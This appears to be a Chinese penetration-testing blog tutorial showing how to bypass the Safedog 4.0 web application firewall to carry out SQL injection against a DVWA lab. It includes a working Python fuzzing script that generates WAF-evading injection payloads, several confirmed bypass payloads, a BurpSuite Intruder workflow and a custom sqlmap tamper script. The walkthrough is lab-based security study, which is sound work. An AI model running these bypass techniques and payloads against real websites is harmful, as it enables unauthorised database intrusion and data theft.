前言
在渗透测试过程中,经常会遇到很多 Web 站点部署了 WAF,这个时候使用常规的 Payload 进行 XSS、SQL 注入的检测避免不了被 WAF 拦截阻断的命运。
Fuzz 模糊测试是一种有效的检测 WAF 过滤规则缺陷并尝试进行 WAF 绕过的技术,本文将以“PhpStudy+DVWA+ 安全狗v4.0”的实验环境演示 Fuzz 测试绕过 WAF。
WAF部署
我在先前的博文:渗透测试-浅析WAF绕过 中简述过 WAF 的绕过技术,读者可参考阅读。
WAF简述
先来回顾下 WAF 的基础常识。
目前主流的WAF产品
WAF类型 | 主流产品 |
---|---|
云WAF | 阿里云盾、腾讯网站管家、创宇盾、ClodeFlare等 |
软件产品类 | 安全狗、云锁、360主机卫士、ModSecurity |
硬件类型设备 | 启明星辰、绿盟、天融信、飞塔等 |
WAF为什么会被绕过:
- 鱼(安全)和熊掌(业务性能)不能兼得,WAF 需要满足基本业务需求,所以一般不设置白名单之类的过于苛刻的操作;
- WAF 为了考虑通用性的问题,无法 100% 覆盖某些语言、中间件、数据库等特性;
- 硬件 WAF 自身往往存在漏洞(硬件 WAF 对 HTTP 协议的兼容性不强,对异常报文会产生 bug,导致绕过);
- WAF 的过滤、防范规则缺陷(如正则匹配绕过)。
网站安全狗
网站安全狗是一款集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。功能涵盖了网马/木马扫描、防 SQL 注入、防盗链、防 CC 攻击、网站流量实时监控、网站 CPU 监控、下载线程保护、IP 黑白名单管理、网页防篡改功能等模块。安全狗能够为用户提供实时的网站安全防护,避免各类针对网站的攻击所带来的危害。
DVWA靶场搭建
为了演示安全狗 WAF 的防护作用和对其进行绕过,需要先搭建 DVWA 靶场。 本人在 Win7 虚拟机使用 phpstudy 集成环境(下载地址)直接部署 DVWA 靶场(官网下载地址),具体部署过程此处忽略(百度一搜一大把),部署后如下:
此时暂未部署 WAF,在 Low 安全级别下对 SQL 注入进行测试,可成功注入代码:
具体的注入测试和完整的获取数据库账户密码的过程,读者可参见先前另一篇博文的记录:Web安全-SQL注入漏洞,此处不再展开。
网站安全狗部署
1、如下是 安全狗的官网,可下载免费版的网站安全狗:
2、选择最新的 Apache 版 v4.0 并下载:
3、下载完一键安装即可,但需要注意的一点是,安装安全狗插件时,需要知道 Apache 服务名,新版的 phpstudy 是无法直接查看的,将导致安全狗安装程序找不到对应的 Apache 服务名:
4、此时需要先关闭 phpstudy 的 Apache 服务,并进入 phpstudy 的 Apache 安装目录的 bin 文件夹下打开 CMD,输入下面命令:
httpd.exe -k install -n apache2.4
5、接着重新安装安全狗即可成功安装,如下图所示:
6、可以查看下安全狗默认开启的 HTTP 安全检测规则:
7、开启安全狗对 DVWA 靶场站点进行安全防护后,再次进行 SQL 注入测试(简单的1' and '1'='1
)则立马会被拦截:
拦截页面如下:
Fuzz脚本绕过
下面就来演示通过 Python 脚本进行 Fuzz 测试,如何成功找到有效的 Payload 绕过安全狗。
Fuzz脚本
先上最终的 Fuzz 脚本 sqlfuzz.py
:
# -*- coding: UTF-8 -*-
#python3过狗脚本,自行验证
import requests
import sys
fuzz_zs = ['/*','*/','/*!','/**/','?','/','*','=','`','!','%','_','-','+']
fuzz_sz = ['']
fuzz_ch = ["%09","%0a","%0b","%0c","%0d","%20","%a0"]
fuzz = fuzz_zs+fuzz_ch+fuzz_sz
headers = {
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36",
"Cookie": "security=low; PHPSESSID=jga8ilgk0h7h36sps6jvr71pub"
}
url_start = "http://192.168.88.119/DVWA/vulnerabilities/sqli/?id=1"
#需要测试的Payload总数量
len = len(fuzz)**3
num = 0
#三层嵌套组合,也可增加为4、5、6层……
for a in fuzz:
for b in fuzz:
for c in fuzz:
num += 1
#payload = "'/*!union"+a+b+c+"select*/1,2#"
#payload = "'/**//*!*/AND/*!*/"+a+b+c+"/**/order/**/by/**/1--+"
#成功绕过安全狗
payload = "'/**//*!*/and/*!*/"+a+b+c+"/**/'1'='1"
url = url_start + payload+"&Submit=Submit#"
sys.stdout.write(' '*30 +'\r')
sys.stdout.flush()
print("Now URL:"+url)
sys.stdout.write("完成进度:%s/%s \r" %(num,len))
sys.stdout.flush()
res = requests.get(url = url,headers = headers)
if "First name: admin" in res.text:
print("\033[0;33m[*]Find BypassWAF Payload:\033[0m"+url)
with open ("Results.txt",'a') as r:
r.write(url+"\n")
以上代码注意几点:
- 以上判定 Payload 是否有效的条件是搜索响应包中是否包含"
First name: admin
",原因是 Payload 无效的话要么是安全狗拦截页面,要么是 SQL 注入语法报错页面,均不会成功回显数据库查询结果; - Fuzz 字典是依据 Mysql 数据库的一些特性组合生成的有可能产生绕过 WAF 的字符;
- 注意请求头中的 Cookie 在此处是必备的字段!不添加 Cookie 的话直接发送 request 请求只会显示未登录并集中跳转到登陆页面。要获取有效的登录后的 Cookie 可通过 BurpSuite 抓包读取:
脚本效果
来看看脚本执行的效果:
可以看到,已经成功找到诸多可以绕过安全狗的 Payload(将脚本执行结束的话找到上百成千种 Payload 不是梦……),打开脚本存放的目录下自动生成的 result.txt
文件查看具体的 Payload:
随便拿一个 Payload (第一个:1'/**//*!*/and/*!*//*/**//**/'1'='1
)试试:
改为1'/**//*!*/and/*!*//*/**//**/'1'='2
则无返回值:
至此,已成功绕过安全狗对于 1’ and '1'='1
的测试 Payload 的拦截,成功借助以上变形的 Payload 判定该处存在 SQL 注入!
但是如何进一步地利用 SQL 注入读取数据库敏感数据,还需要进一步 Fuzz 测试绕过安全狗对其他关键词的检测拦截(如 union、order、select、database()、user()
等),篇幅所限,该部分留给读者自行解决!
SQLMap绕过
对于上了网站安全狗的 DVWA 靶场,尝试使用 SQLMap 对上述 SQL 注入链接进行注入检测,结果可想而知,以失败告终:
而在 SQLMap 执行的过程中,虚拟机中的安全狗记录了大量的攻击日志:
下面参考的是 Freebuf 的 Anubis24 大佬的文章:技术讨论 | Fuzz绕过安全狗4.0实现SQL注入,使用了 BurpSuite 的 intruder 模块进行 fuzz,并修改了 Sqlmap 工具的 tamper 脚本,对安全狗进行绕过。
Fuzz关键词
1、如下图,测试and
关键词,被安全狗拦截:
2、把数据包放到 intuder 里面,进行 fuzz,看看哪一个字符能绕过安全狗,爆破点如下图:
3、字典选择 BurpSuite 自带的 fuzzing-SQL injection
即可,设置如下图( Github 上也有很多这种 Fuzz 字典):
4、开始 fuzz,如果有拦截就会是这样子:
5、成功找到可以绕过安全狗拦截的 Payload:
6、将 Payload: 1'/**/and/*//*/'1'='1
放入网页进行测试:
7、改为1'/**/and/*//*/'1'='2
则查无数据,说明 Payload 已绕过安全狗并有效注入到数据库:
tamper绕过
SQLMap 在默认情况下除了使用CHAR()
函数防止出现单引号,没有对注入的数据进行修改,读者还可以使用 --tamper
参数对数据做修改来绕过WAF等设备,其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则,命令如下所示:
sqlmap.py XXXXX --tamper "模块名"
关于 tamper 脚本的用法,读者可参考博文:SQLMap绕过脚本tamper(from 《Web安全攻防渗透测试实战指南》)。
在本地 SQLMap 的 tamper 文件夹下新建文件test.py
,将 SQLMap 测试过程中的空格自动替换为/*//*/
,如下所示:
#!/usr/bin/env python2
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with comments '/**/'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls
>>> tamper('SELECT id FROM users')
'SELECT/**/id/**/FROM/**/users'
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "/**/"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "/*//*/"
continue
retVal += payload[i]
return retVal
执行命令sqlmap.py -r 123.txt --tamper=test.py
进行注入测试,SQLMap 即可绕过安全狗成功检测出注入点:但是进一步尝试使用sqlmap.py -r 123.txt --tamper=test.py --dbs
注入读取数据库数据时失败,还需要 Fuzz 其他关键词并修改 tamper 才行!
总结
本文演示了 DVWA 靶场搭建、网站安全狗的部署、Fuzz脚本绕过安全狗、BurpSuite 用于 Fuzz、Sqlmap 修改 tamper 绕过安全狗等,在实战过程中,还经常会遇到 WAF 对于异常流量过多的源主机 IP 进行封锁,导致 SQLMap 无法正常使用,后面将继续学习如何使用 IP 代理池配合 SQLMap 进行 WAF 的绕过测试,同时也会进一步学习 SQLMap tamper 的修改场景和应用!
本文参考以下文章: